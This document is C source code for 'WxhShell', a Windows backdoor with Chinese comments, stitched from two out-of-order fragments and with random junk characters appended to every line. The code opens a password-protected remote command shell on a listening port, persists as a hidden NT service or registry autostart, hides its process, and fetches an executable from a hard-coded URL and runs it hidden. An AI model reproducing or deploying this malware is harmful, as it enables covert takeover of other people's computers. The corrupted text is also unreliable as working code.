ULONG UniqueProcessId; %c8@
ULONG InheritedFromUniqueProcessId; +jKu^f6
} PROCESS_BASIC_INFORMATION; >t%@)]*N
[ A 7{}
PROCNTQSIP NtQueryInformationProcess; ~)6EH`-
@18}'k
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l 3 jlKB
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,3!4
D^
o,@(]e~
HANDLE hProcess; Q-1Xgw!
PROCESS_BASIC_INFORMATION pbi; a zO7C*_
*55unc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n8`WU3&
if(NULL == hInst ) return 0; D#^euNiWd
e_cK#9+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BKgCuz:y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q^* 33
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O]Yz7
\l`{u)V
if (!NtQueryInformationProcess) return 0; bL+}n8B
Q\btl/?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wr'1Y7z
if(!hProcess) return 0; tZu1jBO_Q4
,R-aO= %
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>03 DkbB
b #Llu$
CloseHandle(hProcess); Lg|d[*;'7
/w2-Pgm-[\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,lFp4 C
if(hProcess==NULL) return 0; 9n"MNedqH
jX^_(Kg
HMODULE hMod; QbY@{"" `
char procName[255]; !fjB oK+
unsigned long cbNeeded; Q{yjIy/b
91nw1c!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9`M7 -{
@rF|WT
CloseHandle(hProcess); :H+8E5
MIh\z7gW
if(strstr(procName,"services")) return 1; // 以服务启动 1xSG(!
#&%>kfeJ)<
return 0; // 注册表启动 i?7?I
} "b%FkD
<;Tr
// 主模块 Z#YNL-x
int StartWxhshell(LPSTR lpCmdLine) BO%'/2eV
{ -=ZDfM
SOCKET wsl; q;7DH4;t
BOOL val=TRUE; }]JHY P\
int port=0; H6U5-
struct sockaddr_in door; DKkilqVM
:T<5Tq*+x
if(wscfg.ws_autoins) Install(); hVui.]
.N`*jT
port=atoi(lpCmdLine); T)',}=
Ba**S8{/`
if(port<=0) port=wscfg.ws_port; y*p02\)
IIAmx[ b
WSADATA data; L|6I
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z[eWey_
2(m#WK7>F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sz%_9;`dpL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N,3iSH=cN[
door.sin_family = AF_INET; cv7:5P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); fPPmUM^C9
door.sin_port = htons(port); qB&Je$_uh
dP`B9>r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B&6lG!K'?
closesocket(wsl); |68k9rq
return 1; i4nFjz
} [AA}P/iW
VKf&}u/
if(listen(wsl,2) == INVALID_SOCKET) { s[t<2)i
closesocket(wsl); Iga#,k+%
return 1; o$rF-?
} Lj3Pp$h
Wxhshell(wsl); TQ5kM
WSACleanup(); ),|z4~
3rjKwh7
return 0; dC|6z/
o?6m/Klw6
} `*U$pg
V Ew| N)
// 以NT服务方式启动 t[@>u'YKt
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \O\q1
s~
{ beSU[
DWORD status = 0; XUD Ztxa
DWORD specificError = 0xfffffff; A7|L|+ ?
"F6gV;{Bt
serviceStatus.dwServiceType = SERVICE_WIN32; /bPs0>5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KSHq0A6/q%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 76KNgV)3
serviceStatus.dwWin32ExitCode = 0; ={+8jQqi1
serviceStatus.dwServiceSpecificExitCode = 0; 9C0#K\
serviceStatus.dwCheckPoint = 0; -Mz [S
serviceStatus.dwWaitHint = 0; DUh\x>^
Ez-Q'v(9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w~ON861
if (hServiceStatusHandle==0) return; $2RSYI`py
_l"nwEs
status = GetLastError(); SD<a#S\o
if (status!=NO_ERROR) ,>8w|951'
{ ]vP}K
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~"NuYM#@
serviceStatus.dwCheckPoint = 0; 1hE{(onI
serviceStatus.dwWaitHint = 0; N_Kdi%q
serviceStatus.dwWin32ExitCode = status; z?( b|v
serviceStatus.dwServiceSpecificExitCode = specificError; 8ZLHN',
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _(I6o
return; =I@I
} ]V_A4Df
:2&"ak>N
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z#bO}!
serviceStatus.dwCheckPoint = 0; D W^Zuu/)
serviceStatus.dwWaitHint = 0; ,wXmJ)/WZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :7mHPe}(
} 4e#$-V
w6WPfy(/2
// 处理NT服务事件,比如:启动、停止 l;L_A@B<
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pg{1' -
{ .T3 m%n
switch(fdwControl) XM,slQ
{ m}\QGtJ6
case SERVICE_CONTROL_STOP: aWJj@',_
serviceStatus.dwWin32ExitCode = 0; p:z~>ca
serviceStatus.dwCurrentState = SERVICE_STOPPED; &i.sSqSI5
serviceStatus.dwCheckPoint = 0; 7GWOJ^)
serviceStatus.dwWaitHint = 0; 7CvBE;i
{ Qh(X7B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FROC/'
} >%0$AW|Exu
return; K,$rG%czX
case SERVICE_CONTROL_PAUSE: n|LpM .
serviceStatus.dwCurrentState = SERVICE_PAUSED; l {>j8Ln
break; -]H~D4ng
case SERVICE_CONTROL_CONTINUE: " aCAA#$J
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7B (%2
break; x+pf@?w
case SERVICE_CONTROL_INTERROGATE: 2\QsF,@`YU
break; Dfa3#{
}; ?%}!_F`h%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #/f~LTE
} .V?[<}OJn
8/BMFRJ
// 标准应用程序主函数 pDSNI2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xZlCFu
{ +38R#2JV
UL{J%Ze=~
// 获取操作系统版本 {svo!pN:
OsIsNt=GetOsVer();
mPk'a
GetModuleFileName(NULL,ExeFile,MAX_PATH); XW" 0:}`J
n2hV}t9O
// 从命令行安装 >( [,yMIY
if(strpbrk(lpCmdLine,"iI")) Install(); 3m`>D
e
>MYDwH
// 下载执行文件 |=m.eU
if(wscfg.ws_downexe) { 9S*"={}%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _gI1rXI
WinExec(wscfg.ws_filenam,SW_HIDE); .8Bo5)q$a-
} Zrr)<'!i
p2{7+m
if(!OsIsNt) { LzNfMvh
// 如果时win9x,隐藏进程并且设置为注册表启动 \/o$io,kV
HideProc(); #c>GjUJ.w
StartWxhshell(lpCmdLine); @XV&^l-
} ACdPF_Y]
else h%Nd89//
if(StartFromService()) hN
&?x5aC>
// 以服务方式启动 Bhd)# P
StartServiceCtrlDispatcher(DispatchTable); JHt
U"
else EZ]4cd/i
// 普通方式启动 EN2SI+
StartWxhshell(lpCmdLine); U5OX.0
pUb1#=
return 0; <78|~SKAV
} _wS=*-fT
(^m]
7l
0!_?\)X
#e|o"R;/`
=========================================== ;*M@LP{*L
"J 1A9|
?<TJ}("/
h<`aL;.g
Y(.e e%;,
h@!p:]
" hx$61E=
7GYf#} N
#include <stdio.h> :^v Q4/,
#include <string.h> C,Nf|L((6
#include <windows.h> %+N]$Q
#include <winsock2.h> Pc`d]*BYi
#include <winsvc.h> <$0is:]
#include <urlmon.h> ApXf<MAy
'z(Y9%+a
#pragma comment (lib, "Ws2_32.lib") f
+{=##'0
#pragma comment (lib, "urlmon.lib") gwRB6m$
m-vn5OX
#define MAX_USER 100 // 最大客户端连接数 K)7T]z`
#define BUF_SOCK 200 // sock buffer l<f9$l^U
#define KEY_BUFF 255 // 输入 buffer 8(L$a1#5W
X8$Mzeq
#define REBOOT 0 // 重启 o$sD9xx
#define SHUTDOWN 1 // 关机 %o0b~R
P 0,]`w
#define DEF_PORT 5000 // 监听端口 Fo.Y6/}
%8FfP5#
#define REG_LEN 16 // 注册表键长度 (Xh<F
#define SVC_LEN 80 // NT服务名长度 AafS6]y
o utJ/~9;
// 从dll定义API ?,>3uD#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lFjz*g2'
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7__[=)(b2X
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YsVmU
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ](w)e
p~;3
XB7Aa)
// wxhshell配置信息 /Sw~<B!8N
struct WSCFG { EAGvP&~P
int ws_port; // 监听端口 hv|a8=U!R
char ws_passstr[REG_LEN]; // 口令 =:gKh
int ws_autoins; // 安装标记, 1=yes 0=no QnWE;zN[7A
char ws_regname[REG_LEN]; // 注册表键名 S4x9k{Xn
char ws_svcname[REG_LEN]; // 服务名 Q)DEcx-|,
char ws_svcdisp[SVC_LEN]; // 服务显示名 cag 5w~Px
char ws_svcdesc[SVC_LEN]; // 服务描述信息 .N X9Ab
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G%
tlV&In
int ws_downexe; // 下载执行标记, 1=yes 0=no $[>{s9E
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &<VU}c^!
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gjDNl/r/
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}; eiKY az
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// default Wxhshell configuration j=l2\W#}
struct WSCFG wscfg={DEF_PORT, J\L'HIs
"xuhuanlingzhe", Vp/XVyL}R
1, i%K6<1R;y{
"Wxhshell", 3^7+fxYWo
"Wxhshell", oMQ4q{&|
"WxhShell Service", z1J)./BO
"Wrsky Windows CmdShell Service", xE:jcA
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"Please Input Your Password: ", 1=R$ RI
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"http://www.wrsky.com/wxhshell.exe", 4X+xh|R:U
"Wxhshell.exe"
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}; n/_q
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// 消息定义模块 3K
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W{F)YyR{.
char *msg_ws_prompt="\n\r? for help\n\r#>"; ys9:";X;}
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >dl5^
char *msg_ws_ext="\n\rExit."; 4YfM.~
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char *msg_ws_end="\n\rQuit."; T+Z[&|
char *msg_ws_boot="\n\rReboot..."; 4$xVm,n|
char *msg_ws_poff="\n\rShutdown..."; (U:-z=E#1
char *msg_ws_down="\n\rSave to "; cRLw)"|
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char *msg_ws_err="\n\rErr!"; Lh[0B.g<
char *msg_ws_ok="\n\rOK!"; u cpU$+
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char ExeFile[MAX_PATH]; |Ea%nghl
int nUser = 0; Bl b#h
HANDLE handles[MAX_USER]; 0/R;g~q@
int OsIsNt; f .O^R~,
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SERVICE_STATUS serviceStatus; ;ElCWs->\
SERVICE_STATUS_HANDLE hServiceStatusHandle; W=+n|1
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// 函数声明 @_ %RQO_X
int Install(void); cMY}Y
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int Uninstall(void); <?.eU<+O`S
int DownloadFile(char *sURL, SOCKET wsh); A9xeOy8e
int Boot(int flag); //63|;EEkl
void HideProc(void); Fv^zSoi2
int GetOsVer(void); 1&bo